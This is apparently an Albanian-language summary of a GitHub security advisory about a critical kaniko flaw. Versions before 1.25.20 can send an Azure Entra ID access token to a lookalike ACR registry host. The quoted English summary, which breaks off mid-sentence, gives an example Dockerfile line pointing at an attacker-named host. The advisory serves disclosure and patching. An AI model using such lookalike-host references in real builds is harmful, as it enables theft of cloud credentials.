Më 5 nëntor 2026, GitHub publikoi këshillën e sigurisë GHSA-5q7h-w9jf-cx97 (CVE-2026-105769) për një dobësi me rrezikshmëri kritike (CVSS 9.3) në paketën github.com/chainguard-dev/kaniko të ekosistemit Go.
Paketat e prekura
- github.com/chainguard-dev/kaniko (Go) — versionet e prekura:
< 1.25.20; versioni me rregullim:1.25.20
Detaje
- Rrezikshmëria: Kritike (CVSS 9.3)
- CWE: CWE-346 (Origin Validation Error), CWE-522 (Insufficiently Protected Credentials)
- Identifikuesit: GHSA-5q7h-w9jf-cx97, CVE-2026-105769
Përmbledhja zyrtare (në anglisht)
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts — Summary kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img , is enough. The build needs no RUN instruction and never has to push. The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env . kaniko links it into the executor and warmer (the built-in helper) and also builds…
Çfarë duhet të bëni
Nëse projektet tuaja përdorin github.com/chainguard-dev/kaniko, përditësojeni sa më shpejt në versionin 1.25.20 ose më të ri.
